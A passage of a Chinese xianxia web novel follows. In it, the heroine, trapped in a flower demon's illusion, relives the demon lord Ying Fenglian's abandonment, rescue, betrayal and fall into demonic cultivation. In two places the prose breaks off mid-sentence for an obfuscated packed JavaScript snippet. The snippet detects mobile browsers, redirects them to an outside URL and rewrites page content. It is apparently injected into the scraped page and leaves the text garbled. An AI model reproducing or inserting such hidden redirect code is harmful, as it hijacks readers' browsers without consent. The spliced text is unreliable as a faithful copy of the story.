小应逢怜看着母亲,慢慢放下了张开的双臂,点了点头,乖巧地保证道:“嗯!娘亲,我会乖乖待在这里,不乱跑的。” “小宝真乖。”女子眼中泪意闪现,她强忍悲痛,将行囊中所有吃食留在了破庙里,“饿了就自己吃东西,娘和哥哥先走了。” 小应逢怜站在原地,安静地目送着娘亲与哥哥的离开。 颜悬昭意识到不对劲,立刻冲出去阻拦,女子却抱着应听澜直直穿过了她的身体。 她无力地僵直在原地,缓慢回头,望着破庙中安静等待着母亲和哥哥归来的小小身影,喉头泛起阵阵苦涩。 应逢怜,你也是被抛弃的那个吗? 37. 镜花水月(十) 小应逢怜一直很乖,自己一个人也不哭不闹,按照母亲的话,独自在破庙里等待了许久。饿了就吃母亲留下的干粮,渴了就用破碗接屋檐滴落的雨水,困了就蜷缩在供桌下席地而眠。 可一连等待了好几日,他也没有等到娘亲和哥哥回来。 早慧的他开始意识到什么,渐渐地不再像最初那样,一听到庙外有任何风吹草动,就满怀期待地跑出去喊“娘”。 颜悬昭像个无形的幽灵,终日在他身边打转,看着他日渐沉默的小脸,心疼却又无能为力。她对这些镜月花妖们的憎恶之情愈发浓烈,它们诱惑人沉沦于美梦就算了,何必还要挖掘人内心深处最隐秘的伤痕,去击溃人的心防。 终于,行囊里最后一点干粮也被吃完了,娘亲却依旧没有回来。小应逢怜呆呆地抱膝坐在原地,硬撑的坚强和勇敢在此刻全面溃堤,眼泪如断了线的珍珠,无声地从他的脸颊上一滴滴滚落。 颜悬昭沉默地坐到了他的身边,用手徒劳地接住他掉落的泪珠。 就在此时,庙门外忽然传来一道女声,语气轻柔有如和煦的春风:“打扰小友了,外面风雨将至,不知可否让我在此借宿片刻,暂避一时?” 小应逢怜被这突如其来的声音惊动,慌忙用袖子胡乱抹去脸上的泪珠,警惕地望向庙门的方向。 只见一位身着素白衣裙的女子正立于庙门处,头戴一顶长长的幂篱,垂下的轻纱将她面容遮掩得严严实实。清风拂动着她幂篱上的轻纱和白色的裙摆,温润的天光散落在她周身,为她镀上了一层柔和的光晕。 颜悬昭心里直呼:好家伙,女主登场,不愧是白月光!在人生最黑暗无助的时刻,有这样的人以救世主般的姿态出现,这谁能顶得住? 小应逢怜不作声,女子却也不恼,自顾自地走了进来,在距离他不近不远的地方盘膝坐下。应逢怜像个受惊的小兽,充满戒备地挪到了墙边,和她拉开了距离。 白衣女子并未在意他的疏离,旁若无人地从手上的灵戒中取出木炭、火折子,又拿出了处理好的鸡肉、鲜鱼、还有几张看起来十分美味的烤饼。 紧接着,她竟挽起宽大的雪白袖口,熟练地生起一小堆火,开始……野外烧烤? 这完全出乎颜悬昭的意料,上一秒飘飘若仙的女神,下秒撸起袖子在那烤串,这也太接地气了吧?! 颜悬昭凑近到女主身边,蹲下身试图透过纱帘的缝隙看清她的面容。到目前为止,她还从没见过这位女主的模样呢。 要知道,岑毓灵可是四海八荒、仙魔两界公认的第一美人,这得多好看啊! 可惜,那幂篱仿佛自带全方位遮挡效果,任凭她怎么变化角度、瞪大眼睛,也无法窥见纱帘之后的真容。 “应逢怜,你个小气鬼!”颜悬昭忿忿地在心里暗骂了他一声。 连在幻境里也不容人窥探你白月光的真容吗?没有容人之量的男人,活该你输给应听澜! 不过,让颜悬昭略感意外的是,幻境中的岑毓灵,身量看起来已是少女初长成的模样,而应家两兄弟此刻还是懵懂稚童。这年龄差……莫非男女主还是姐弟恋?这个设定,莫名更好磕了怎么办? 就在颜悬昭思维发散之际,白衣女子已经将一部分食物烤好了。她拿起一串滋滋冒油的烤肉,亲昵又自然地递到小应逢怜嘴边:“尝尝看,火候应该刚好,小心烫。” 应逢怜的腹内早已空空如也,他望着热气腾腾、散发着焦香的烤肉悄悄地咽了咽口水,但仍保持着高度警惕,不肯接过这个来路不明之人给的食物。 白衣女子轻轻叹了口气,将手中烤串收了回来,自己咬了一口,才再度看向他:“看,我也吃了,没毒的。小友,我害你能有什么好处呢?” 应逢怜依旧面无表情看着她,小手攥得紧紧的,没有任何动作。 “算了。”白衣女子不再强求,将剩余烤好的食物用干净的芭蕉叶包好放在他面前,转身便继续专注地烤制剩下的食物。 每次烤完,她都会分出一部分放到应逢怜面前,也不管他吃不吃。 夜色渐浓,白衣女子吃饱喝足后,靠在一旁的柱子上,闭眼休息起来,一副井水不犯河水的模样。 庙内安静得一时间只剩下木柴燃烧发出的噼啪声。 应逢怜见她熟睡,肚子恰好在这时发出了剧烈的鸣叫,在饥饿的强烈驱使下,他终于忍不住朝面前的食物伸出手来。初时,他还是小口小口,犹豫地吃,到后面索性大口大口往嘴里塞,狼吞虎咽,吃得满脸都是。 这时,颜悬昭发现白衣女子是在假寐。她正透过幂篱,不动声色地关注着应逢怜的一举一动。看到他终于肯吃东西,还把自己塞得像只腮帮子鼓鼓囊囊的小仓鼠,她忍俊不禁,憋笑憋得肩膀一抖一抖的。 但为了保护应逢怜那颗幼小的自尊心,她还是保持着沉睡的姿态,没有出声打扰。 往后的几天里,他们之间形成了一种奇特的相处模式。白衣女子每日外出寻觅,带回食物,照例生火做饭,然后分出一份放在小应逢怜触手可及的地方。而小应逢怜,则会在她“不注意”的时候,将她留下的食物悄悄吃掉。 又过了好多日,应逢怜的娘亲和哥哥都没有再回来过。他也在这个过程中与白衣女子越来越亲近,他从最初紧紧贴着墙角,到后来会试探性地坐在离她稍近的地方,到最后会在她身边席地而眠,入睡时小手还会悄悄地抓住她的一小片裙角。 看着篝火旁依偎在一起的身影,颜悬昭心中升起一丝疑惑。 这个幻境里,她始终没有看到镜月花妖本体化作的人形出现。而且,花妖惯用的手段是制造极致的美梦引人沉溺,可应逢怜的这个幻境,前半段是被至亲抛弃的痛苦,后半段虽有人施以援手,可也是充满了动荡和不安。 还是说……应逢怜,这段短暂的帮助和陪伴,于你而言,已经是人生中不可多得、值得沉溺的美梦了吗? 在这个念头划过脑海的刹那,颜悬昭的心忽地被揪紧,泛起一阵说不清道不明的闷痛。 一日,白衣女子如同往常一样,轻轻地从熟睡的应逢怜手中,抽回自己被攥得有些发皱的裙摆,起身准备外出寻找食物。 只不过这次,她再没有回来。 应逢怜再度醒来之时,没有看见白衣女子的身影,只看到一块遗落在地的蝴蝶玉佩,他攥着玉佩蹲在庙门口等待着她回来。 从日出等到日落,他没有等到那道白色身影,却等来了一群不速之客。 衣着华贵、神色冷峻的陌生男女无声无息地包围了这座破庙。他们看向他的目光带着冰冷的审视与考量。 “这就是那小的?” “应该是,和大的那个是双生子。” “先带走。” 三言两语便决定了他的命运。那些大人上前,不由分说地按住了剧烈挣扎的他,任凭他如何踢打哭喊,依旧强硬地将他带走了。 颜悬昭想要追上去,眼前的景象却骤然开始扭曲、旋转,最终化作一团混沌的黑暗,将她吞噬。 ——— 颜悬昭再次有视野之时,发现自己附在了一个孩子的身上,共享着他的视角。 视线变得很低矮,需要努力仰起头,才能看清周围那些来来往往、面容模糊的大人们。他们投来的目光,或鄙夷、或漠然,让他不由得低下了头,内心一阵惶惶不安。 就在这时,他的视野里出现了一个熟悉的小小身影。他心中一喜,下意识伸手拉住对方的衣袖,欣喜唤道:“哥哥!” 小应听澜那张与他一模一样、却没什么表情的脸庞映入眼帘。颜悬昭瞬间明白,自己此刻是附在了年幼的应逢怜身上,正通过他的眼睛,亲历着这一切。 她意识到目前状况的严峻性:这个纠缠应逢怜的镜月花妖,力量远比她和冯念之遇到的要强大得多。它已经完全与这个幻境融为一体,无处不在,却又无迹可寻,根本不需要显化本体,就能让她陷入泥沼,找不到任何机会插手幻境。 时间一分一秒地流逝,她不知道现实中的应逢怜还能支撑多久,焦灼如同烈焰般反复炙烤着她的内心。 应听澜听到他的呼喊没有任何反应,眼神甚至没有产生丝毫偏移,只是冷冷地拍开了他的手。应逢怜缩回了吃痛的手,呆呆地看着面前陌生的哥哥。 接下来的场景像骤然被打碎的镜面迸溅开来,在颜悬昭眼前飞快闪现着。 颜悬昭从零散而信息量巨大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16738382|183016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的碎片中拼凑出了一个真相:应逢怜的母亲在带着应听澜逃亡时,不幸被应家的人追上并就地诛杀。而他们的父亲在得知这个消息后万念俱灰,选择了为情自戕。转眼之间,兄弟二人便成了无父无母的孤儿。 然而,因为他们天赋罕见,拥有极高的修炼潜质,家族中的长老们决定将他们留下。可他们是人魔混血,体内共存着魔气与灵气,二者相互冲突,严重阻碍修行。想要彻底解决这个问题,就必须将其中一人体内的魔气,全部引渡到另一人体内。而作为承受魔气的载体,必须与魔气来源高度契合,不能在过程中产生排斥,否则引渡便会失败。 恰好,同源而生的双胞胎,就是彼此最完美的载体。那么,问题只剩下一个——选择谁,舍弃谁? 答案,显而易见。他们选择了哥哥应听澜。 即便应逢怜是那个理论上最合适承受魔气的载体,但强行引渡魔气仍旧对他幼小的身体造成了毁灭性的冲击。魔气的暴走让他七窍流血,奄奄一息,眼看就要不行了。家族认定他已经救不活了,索性将他装入一口薄棺,草草下葬。 幻境的画面最终定格在一片死寂的黑暗中。 应逢怜从冰冷的棺木中醒来,周身剧痛,每一次呼吸都艰难无比。棺内空间狭小逼仄,四周是死一般的寂静,只能听到自己微弱的心跳和泥土中细微的爬虫蠕动声。 棺内的空气越来越稀薄,胸口像是被沉甸甸的巨石压住,窒息的恐惧如同冰冷的潮水般淹没了他。 他害怕极了,用尽最后力气呼喊,绝望地用指甲抓挠着近在咫尺的棺盖。但埋葬他的人早已离去,无人能听见他的求救。 黑暗、惊惧、窒息…… 他不甘心地将棺盖挠出了道道血痕,窒息的痛苦让他喉头发腥,眼前阵阵发黑,绝望的泪水从他的眼角落下…… 就在他意识即将彻底沉入黑暗的前一刻—— “别害怕,撑住!我在救你!”一道模糊的女声响起,唤醒了他即将沉底的意识。 紧接着,头顶上方传来了窸窸窣窣的、急促的挖土声,那声音由远及近,由小变大。那个女子一边挖着,一边不断对他喊话,有些听不真切,却奇异地驱散了他心中一部分濒死的恐惧。 他的耳朵已经开始听不清声音了,他却依稀记得那个声音很温柔,莫名地令人安心。 不知过了多久,“吱嘎”一响,沉重的棺盖被人从外面猛地撬开了一条缝隙,刺眼的天光瞬间涌入,让他不适应地眯起了眼睛。 他艰难地仰头看去,她的面容处于逆光之中,让人看不真切,只能感受到她颤抖着手正将他从棺中轻柔抱起。 是她。 这一次,她不再像破庙初遇时那般飘逸出尘。大雨滂沱,将她全身彻底淋透,白色的衣裙紧紧贴在身上,沾满了泥泞。她用来挖土的双手,鲜血淋漓,伤口混着泥水,看起来狼狈不堪,触目惊心。 这双伤痕累累、沾满污秽的手对他而言,是世界上最温暖的所在。 那天的雨下得极大,豆大的雨点砸在地上,溅起阵阵涟漪。 女子奋力将他背起,艰难地行走在崎岖湿滑的山路上。他虚弱地趴在她单薄的肩头,用尽最后一丝力气,想要抬起头,看清救命恩人的容颜。 然而,失焦的视线和铺天盖地的雨水,朦胧了天地间的一切,他只看到一个模糊而温暖的轮廓。 她背着他,在风雨中絮絮叨叨地说了很多话。断断续续的话语夹杂在哗啦啦的雨声中,传入他的耳中如同隔了一层水幕,他依稀分辨出几个零碎的字眼: “不要死……坚强活下去。” “会有人爱你的,会有人坚定地选择你的,不要放弃……” 他很想回应她,告诉她,他会的。可残破的身体已经无法支撑他说出一个完整的字句,最终他只能在喉深处挤出一声微弱的“嗯”。 雨声太大了,他不知道她有没有听见。 没关系,等他醒后,总会再见的,到时候再好好回应她吧。 这是他昏迷之前最后一个清晰的念头,随后便陷入了无穷无尽的黑暗。 再次恢复意识之时,他又重新回到了应家,身边再没有那道救他的白色身影。 38. 镜花水月(十一) 应逢怜又回到应家,虽然侥幸存活,但也灵根损毁,再不能修行,彻底沦为了废人。与此同时,应听澜却如同新星般冉冉升起,天纵奇才之名响彻修仙界,被整个正道寄予厚望,视为未来的领袖。 应家虽愿意养着应逢怜,但却限制他只能活动在家族后院之中,不能随意外出,成为了一道见不得人的影子。 这日,他像往常一样,独自坐在庭院中那棵老树的粗壮枝干上。阳光透过叶片的缝隙,在他身上投下斑驳的光影。 他抬起手,指间缠绕着一根细细的红绳,绳下坠着一块雕刻精美的蝴蝶玉佩,在日光的映照下如同羊脂般温润剔透。 在这些无望的日子里,这块玉佩成了他唯一的精神寄托。他时常这样看着它,透过这唯一的信物,一遍又一遍地回想记忆中那个逐渐模糊的身影,努力让它在脑海中重新变得清晰起来。 “请问,这里是什么地方?”一道清凌凌的女声毫无预兆地在寂静的庭院中响起,打断了他的沉思。 他手腕猛地一颤,指尖红绳滑脱,玉佩也随之掉落,眼见要摔到地上,他几乎是想都没想也从树上跳下。 却有只手比他抢先一步地捞起了玉佩,玉佩稳稳地落在了她的掌心。 他倏然抬眸,对上了一张全然陌生的少女面庞。 “还我。”他朝她伸出手,冷冷道。 少女却并未立即归还,反而将玉佩拿在手中端详了片刻,语气带着几分疑惑:“奇怪……这不是我的玉佩吗?你在哪捡到的?” 他一怔,难以置信地看向她,声音艰涩:“你的?怎么证明?” 少女不慌不忙,将玉佩翻到了背面,指着上面特殊的图案解释道:“这个玉佩图样是我们蓬莱特有的蝶纹,纹路里融合了我名字中的‘灵’字。你不信的话,可以仔细看看,是否如此?” 应逢怜从她的手中接过玉佩,凑到眼前细细察看,果然在繁复的蝶纹当中看到了那个隐藏的“灵”字。 他努力压下狂跳的心脏,强迫自己保持冷静,声音却仍旧带着按捺不住的激动:“你……你当年,是否是在岷阳一带遗失的它?” “是呀!”少女眼眸微亮,点了点头,“我的确是在途径岷阳时不慎丢失的它。看来这果真是我的旧物了。” 这一刻,像是一直笼罩在眼前的薄雾骤然散开,少女的容颜在他眼中顿时变得无比清晰。她一袭白纱长裙,裙摆在微风中轻轻飘动,眉目如远山含黛,气韵清丽出尘,一如他记忆中的那个人。 “那你可还记得……”他的喉头突然有些发紧,声音带着自己都未察觉的沙哑。他垂眸,甚至不敢再直视她的眼睛,一种近乎“近乡情怯”的怯懦攫住了他,“当年在岷阳救过一个孩子?” 少女的脸上却显露出茫然之色,略带歉意地摇了摇头:“不好意思,我那时在岷阳赈灾,救助了很多人,之后又受了点伤,导致许多事情都记不真切了。我们……之前有见过吗?” 他手指蜷缩了一下,心底刚刚升起的火苗猛地被冷水浇熄。 他也只不过是她帮助过的人中微不足道的那个,根本不足以让她挂怀。 沉默片刻后,他终是低声说道,声音轻到随时会消散在风中:“算了……就当重新认识吧。” 他将玉佩重新放回了她的手中,旋即抬眼,向来冷冰冰的面庞生涩地牵动着嘴角,露出一个温和的笑容,如冰雪初融:“在下应逢怜,敢问姑娘芳名?” 少女接过玉佩,嫣然一笑。那笑容如同在黑白水墨画上陡然点缀了一抹清丽的春色,瞬间鲜活明亮起来,夺目得让人无法移开视线。 “你好,我叫岑毓灵。” ———— 自那日后,岑毓灵偶尔会到他这方偏僻的院落里来,有时是带些精致的点心吃食,有时是些外界新奇的小玩意儿,更多的时候,是与他分享一些外面的趣闻轶事。 他开始在枯燥的日子中生出期盼,期盼那抹白色的身影何时会再次出现在庭院门口。 他习惯了这样的日子,习惯了当一道深埋暗处、见不得人的影子,他本可以忍受,本可以…… 直到—— “毓灵,你近来总爱往逢怜院子里跑。”院落之外,传来了应听澜温润的声音。 他垂眸看着身边的岑毓灵,手指亲昵地缠绕着她一缕乌黑的发丝,语气里带着恰到好处的吃味:“再这般下去,连我都要心生嫉妒了。” 岑毓灵轻轻拍开他作乱的手,嗔怪道:“他是你弟弟,我理应代为照拂一二。哪有你这样当兄长的,还乱吃弟弟的飞醋?” 应听澜从善如流地认错道:“是是是,是我心胸狭隘了。还是未来的‘大嫂’体贴,肯替我这般费心照料弟弟。” 岑毓灵的脸颊霎时间飞上红霞,握拳不轻不重地捶了两下他的胸膛,羞恼道:“谁要嫁给你,不要脸!” “好了,莫恼了。”应听澜笑着握住她的手腕,“今日难得闲暇,陪我去练剑可好?这些东西,让下人给逢怜送进去便是。” 岑毓灵犹豫地看了看手中提着的食盒,又看了看应听澜含笑期待的目光,最终还是将东西交给了候在一旁的侍从,任由应听澜牵着手,两人说笑着并肩离去。 高高的房檐之上,应逢怜静静坐着,将庭院外那对少男少女之间旁若无人的亲昵低语、眼波间的情愫流转,尽数收入眼底。 他不知道自己在冰冷的屋瓦上枯坐了多久,直到天空转为暮色,晚风将他周身吹得冰凉僵硬,他才缓缓松开一直紧握成拳的手,掌心中已然鲜血淋漓。 为什么你也要选他? 为什么连你也要抛弃我? 本来是我们先认识的,是我先遇见你的!不是你说,你会坚定选择我,你会爱我的吗?既然会食言,当初何必要承诺? 我和他,分明拥有一模一样的容颜,为何你的目光,却永远只停留在他身上?是因为他是天纵奇才,是未来板上钉钉的应家家主,是前途无量的正道魁首吗? 一股从未有过的、炽烈的恨意与不甘,如同毒焰般灼烧着他的理智和五脏六腑。他第一次如此痛恨自己这具无法修行、如同废物般的身躯。 几乎是自虐般,他疯狂地引气入体,明明知道那些灵气对他而言是刮骨钢刀,他却仍旧不死心地一遍又一遍地重复着这钻心剜骨的痛苦过程。 逸散的灵气在肺腑间横冲直撞,逼得他呕出了大股的鲜血。他低下头,眼中布满血丝,木然地看着自己满掌的猩红,绝望地大笑起来。 他像是失了魂,赤着双足,披散着墨黑的长发,如同游荡的孤魂野鬼,在夜色笼罩的后院里漫无目的地踉跄行走。 “艹,应逢怜你是鬼吗?不好好呆在你那个破院子里跑出来做什么怪!”几个路过的族中子弟被他这副模样吓了一跳,随即嫌恶地呵斥道。 应逢怜恍若未闻,只是失魂落魄地站在原地,眼神空洞。 族中子弟们看到他那张与应听澜神似的脸,一时恶上心头,将所有风头被应听澜抢尽的怨念和火气一股脑地发泄在他的身上。 其中一人朝他身上啐了一口,语气刻薄:“你不是应听澜的双生兄弟嘛,怎么一个天一个地的?他如今名利双收,连蓬莱的仙子都对他青眼有加,你呢?活得连条流浪狗都不如!” “哼!照我说,应听澜不过也就是个惯会装腔作势的狗罢了。”另一个蓝衣子弟语气轻蔑地接话,“你看他对仲飞长老那尊敬样,不活脱脱一个哈巴狗!” “就是,仲飞那帮人当着他面,将他魔族娘杀了,他都能忍下这个仇,给他们当义子,狗都没那么能忍的。” 他们说完,相视哈哈大笑,极尽贬低应听澜让他们获得了心理上的极大满足。 一直沉默着的应逢怜猛地抬头,如同被激怒的困兽般,冲上前一把揪住了蓝衣子弟的衣领,声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16754682|183016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音因过于愤怒而颤抖着:“你们说什么?!我娘不是被魔族追兵杀害的吗!” 那蓝衣子弟被他突如其来的爆发惊得一怔,随即用力一挥手臂,轻而易举地将毫无修为的应逢怜甩开,诧异道:“你竟然不知道?当年是家族几位长老,为了肃清门风,亲自出手处决了你那魔族娘的。” 应逢怜如遭雷击般僵硬在原地,瞳孔剧震,反复喃喃道:“不可能、不可能,应听澜怎么会……” “啧,你告诉他做什么?免得他闹事,搞得大家鸡犬不宁。” “怕什么?应听澜都选择既往不咎了,他一个不能修行的废物又能翻出什么浪花?” “也是。走了走了,跟个废物浪费什么口舌。” 几人鄙夷地扫了他一眼,嬉笑着扬长而去。 他们走后不久,又一场盛夏的雷雨猝不及防地落下,初时还是豆点大小,很快便转为了瓢泼大雨,将僵住在原地的应逢怜浇了一个透彻。电闪雷鸣下,他的面容晦暗不明,冰凉的雨水顺着他的发丝、脸颊流淌,浸湿了他全身的衣袍,却浇不灭他心中的滔天怒火。 他居然与杀母仇人在同一个屋檐下生活了这么多年! 应听澜,你明明知道真相,还认贼作父,道貌岸然地活在这世间。 你有什么资格当母亲的儿子,凭什么配站在岑毓灵的身边? 杀掉……通通杀掉!他要杀掉这群令人作呕、虚伪至极的正道走狗!疯狂的杀意在他脑海里翻腾着。 应逢怜抬起手,看着掌心仍未完全褪去的血痕,冷然一笑。 既然无法修仙了,那便成魔吧。 他定要让所有人血债血偿。 ——— 颜悬昭看着应逢怜一步步走向了修魔之路,他在修仙之路上无法寸进,却在诡谲狠戾的魔功修行上展现出惊人的天赋,进展可谓是一日千里。 他一边潜伏在男女主身边阻挠他们统一正道各方势力的计划,一边暗地里与魔界取得联系,凭借他身上一半的魔界王族血统,他很快获得了一批簇拥者,在魔界逐渐形成了自己的势力。 随着他登顶魔尊之位,男女主也逐渐开始怀疑到他的身上。在应听澜的授意下,岑毓灵在应逢怜生辰那日,将他约了出来,为他送上了一碗自己做的长寿面。 颜悬昭看过这段剧情,深知这是一场鸿门宴,那碗面是甜美的毒药,里面所放之物能让修仙者灵力大涨,却对魔修而言是穿肠毒药。 见应逢怜没有动筷的意思,岑毓灵亲自拿起另一双干净的筷子,夹了一根面条送入自己的口中,抬眸真挚地看着他:“这是我亲手做的,没有问题的。逢怜,你不信我吗?” 应逢怜抬眸定定地凝视着她,半晌道:“毓灵,我可以信你吗?” 岑毓灵像是被他的目光烫到了一般,眼神闪烁了一下,避开了他的注视,语气轻柔道:“那是自然。” 他突兀地低笑了一声,笑声中莫名地带着点苦涩的意味,随即应声道:“好,我信你。” 说罢,他便要拿起摆放在碗边的那副筷子—— “不要吃!”颜悬昭看得心急如焚,忍不住大喊出声,“是陷阱,你吃了就正中他们下怀了!他们早已布下天罗地网,就等着你毒发后围剿你!之后你会被他们重伤,一路追杀,亡命天涯啊!” “应逢怜!你平时不是最谨慎多疑的吗?怎么这次就傻乎乎地信了她的话!” 然而,无论颜悬昭如何呐喊,幻境中的应逢怜都毫无反应。她焦急地想要冲上前阻止,身体却不受控制地猛地向前一倾—— 下一秒,天旋地转的感觉袭来。 待她稳住心神,愕然发现,自己竟然坐在了应逢怜的正对面。她下意识抬起双手,映入眼帘的是一双不属于她的纤纤玉手,身上穿着蓬莱特有样式的白色仙气纱裙。 怎么回事?! 她怎么……变成了岑毓灵?! 39. 镜花水月(终) 他们常说,应听澜更像父亲,而他应逢怜更像母亲。事实也的确如此,他传承了母亲谶魔一脉的独特能力——他可以闻到谎言的味道。 在他的感知里,所有的谎言都带着一种腐烂的、混合着泥土腥气的不明恶臭。 他第一次清晰地闻到这个味道,是在那个破败的土地庙里。母亲温柔地抚摸着他的头,告诉他,只是带哥哥出去找点吃的,很快就会回来。那时他年纪尚小,还不明白这股突然出现的怪异气味意味着什么,只是本能地感到不安。 很久以后,在某个冰冷而无眠的夜晚,他恍然醒悟——那天,母亲对他撒了谎。她不是去找食物,而是选择了带走应听澜,将他遗弃在那里。 他曾以为,这世间谁人都可能欺骗他,唯有岑毓灵不会。破庙中无声的陪伴,雨夜里拼尽全力的挖掘拯救,她对他说的每一句话,许下的每一个承诺,桩桩件件、字字句句都不曾有假。 可他没想到,有一天,他也会从她的口中闻到了谎言的味道。 他看着眼前这碗她亲手递过来的长寿面,第一次开始怀疑起自己的能力,选择了相信她。 他在豪赌,赌她不会真的伤害他,赌她最后会选择他。 他执筷缓缓将面条送到唇边,目光却始终稳稳地落在她的脸上,面前之人微微垂下了眼睫,避开了他的注视,自始至终,没有出声阻拦。 他的唇角勾起了一抹自嘲的弧度。 他输了,输得一败涂地。 就在他即将吃下面条之时,一只手突然挥来,精准地拍掉了他手中的筷子,筷子脱手飞出,面条散落在地。 应逢怜错愕抬头,眼前的“岑毓灵”换了一副神态,语气又快又急:“别吃,有毒!” ——— 颜悬昭几乎是凭借本能行动,想都没想就立刻拍掉了应逢怜手中的筷子。做完这个动作,她才后知后觉意识到自己可能正中了花妖的下怀。 按照现实的发展,应逢怜是吃下了那碗面的,而岑毓灵并未阻止。他内心深处,或许正极度渴望看到岑毓灵在最后关头选择他。自己这样横加干涉,岂不是让这个幻境变得更加“完美”,让他更深地沉溺其中? 可是……难道要她眼睁睁看着他吃下毒药吗?不行!管不了那么多了! 颜悬昭心一横,上前扳住他的肩膀,迫使他对上自己的视线,破釜沉舟般快速说道:“应逢怜,你清醒一下!这是镜月花妖的幻境,再不醒,你我都要完蛋在这里了!” “咦,你是——?” 就在这时,一道带着惊讶的柔美女声从侧后方传来。颜悬昭猛地回头,只见屏风后竟然又走出一个“岑毓灵”。 她微微睁大了双眸,不可思议地看着她,语气带着疑惑与一丝被冒犯的薄怒:“你是谁?为何要幻化成我的模样?” 她又将目光落在了长寿面上,神情立刻变得严肃:“这面……有毒!”,随即转向最为可疑的颜悬昭质问,“你为何要幻化成我的模样给逢怜下毒,你是何居心?!” 颜悬昭被她这颠倒黑白、倒打一耙的本事气得差点笑出声,毫不客气地指着她的鼻子怒斥:“死花妖!少在这里血口喷人!这幻境不就是你搞的鬼吗?赶紧放我们出去!你可知道你现在困住的是谁?是魔尊应逢怜!再不放人,信不信魔族大军踏平你这破花海,把你老巢都给掀了!” “你在说什么啊?”“岑毓灵”神情瞬间变得无辜又疑惑,她委屈地拉着应逢怜的衣袖,“逢怜,这人假冒我害你,其心可诛,好可怕,你快杀了她!” “应逢怜,你别信她!她才是迷惑人心的镜月花妖!”颜悬昭心急如焚,紧紧盯着应逢怜的反应,生怕他被蛊惑。 “逢怜,你不信我吗……”花妖扮演的岑毓灵愈发楚楚可怜,声线都开始带上微微哭腔和颤抖。 应逢怜沉默地用目光在两张一模一样的脸孔之间逡巡,神情淡漠如水,让人窥探不出丝毫情绪。 “大胆魔头!还不束手就擒!”一声暴喝骤然响起,打破了场面的死寂。 霎时间,十几道手持各式法器的人影从四面八方跃出,将小小的一方天地团团围住,高阶修士的威压瞬间弥漫开来。 “岑毓灵”脸上立刻流露出难以置信的神情,她毫不犹豫地上前一步,张开双臂将应逢怜护在身后,对着那群不速之客急声道:“各位长老,是否有误会?逢怜他绝非歹人,不会作恶的!” 领头的白发长老却冷哼一声:“此子早已堕入魔道,断不可留。我等今日便要替天行道,就算你是蓬莱贵客,也休想阻拦我们清理门户!” “岑毓灵”见劝说无用,一边警惕地后退,一边伸手想去拉应逢怜的手,语气坚定:“逢怜,别怕,我带你离开这里!” 她的手却捞了个空。 “岑毓灵”愕然回头,却见应逢怜一把抓住了那个外来女子的手腕,带着她冲破了尚未完全合拢的包围圈,只留下了一个迅速远去的背影。 ——— 颜悬昭本来还处在被突然围剿的震惊之中,没反应过来,就感觉自己的手腕被一只冰冷而有力的手紧紧攥住,不容抗拒地拉着她往外冲。 她看着应逢怜牵着她狂奔的背影,心中刚升起一丝微弱的雀跃,立刻就被身后传来的怒喝声和连绵不绝的破空之声吓得魂飞魄散。 各式各样的法器朝他们袭来,却都在快接触到他们的那刻像触碰到屏障一般,纷纷折戟坠地。 颜悬昭听着耳边呼啸的风声,心惊肉跳,根本不敢回头看,只能握紧应逢怜的手,用尽全力跟上他的步伐。 这幻境仿佛大到没有边际,他们跑了许久,周围的景物重复而模糊,看不到尽头,也辨不清方向。颜悬昭的大脑一片空白,只能机械地跟着前面那个身影,将所有希望都寄托在他身上。 就在她体力近乎透支之时,应逢怜的脚步终于停了下来。 他面色苍白,却看不出多少疲惫,抬手朝着虚空随意一划,一道黑色的口子凭空绽裂开来,露出一个幽深而不知通往何处的黑洞。 “往那走,就能出去。”他松开了紧握着她的手,指向那个黑漆漆的洞口。 “居然有出口吗?太好了!”颜悬昭情不自禁地往前迈了两步,却发觉身后的人没有跟上来。 她连忙回头拉住他的衣袖,催促道:“愣着干什么?快走啊,他们马上就追过来了。” “你离开就好。”应逢怜的声音平淡,轻轻拂开了她揪住他衣袖的手。 颜悬昭不甘心,直接伸手握住了他垂在身侧的手:“为什么?我们一起走啊!” “逢怜……”岑毓灵那熟悉而温柔的声音再度在身后响起,此刻在颜悬昭听来,却如同毒蛇吐信,让人毛骨悚然。 不知何时,那些围追堵截的追兵消失了,空旷的天地间,只剩下岑毓灵一人站在不远处,白衣胜雪,眼神哀怨地望着他们。 她缓步走近,语气里是说不尽的哀伤与挽留:“你要为了这个来路不明的人,离开我吗?” 她的声音仿佛是一个信号,紧接着,两道模糊的身影开始在她身边浮现、凝聚。 似曾相识、气质温婉的美丽妇人走了出来,眼中含着泪水,深情地呼唤着:“小宝……我的小逢怜……娘亲不会离开你,你也不要离开娘亲,好不好?” 一位气度沉稳、面容与应逢怜有几分相似的中年男子出现在妇人身侧,轻轻揽住她的肩膀,对应逢怜说道:“孩子,在外面太累了的话,就回到爹和娘的身边吧,爹娘一直挂念着你。” “逢怜……” “我的孩子……” 应逢怜没有回头,颜悬昭却看见他的身形在听见他们声音的那刻微不可闻地颤抖了一下。 怕他当真被这些虚假的幻影所蛊惑,颜悬昭急忙说道:“应逢怜,这些都是假的!花妖幻化出来的,不要相信他们!” 应逢怜却忽然轻声开口,声音低哑:“颜悬昭,你走吧,离开这里。” 看着他如同死水般沉寂的眸子,颜悬昭忽地明白了一切。 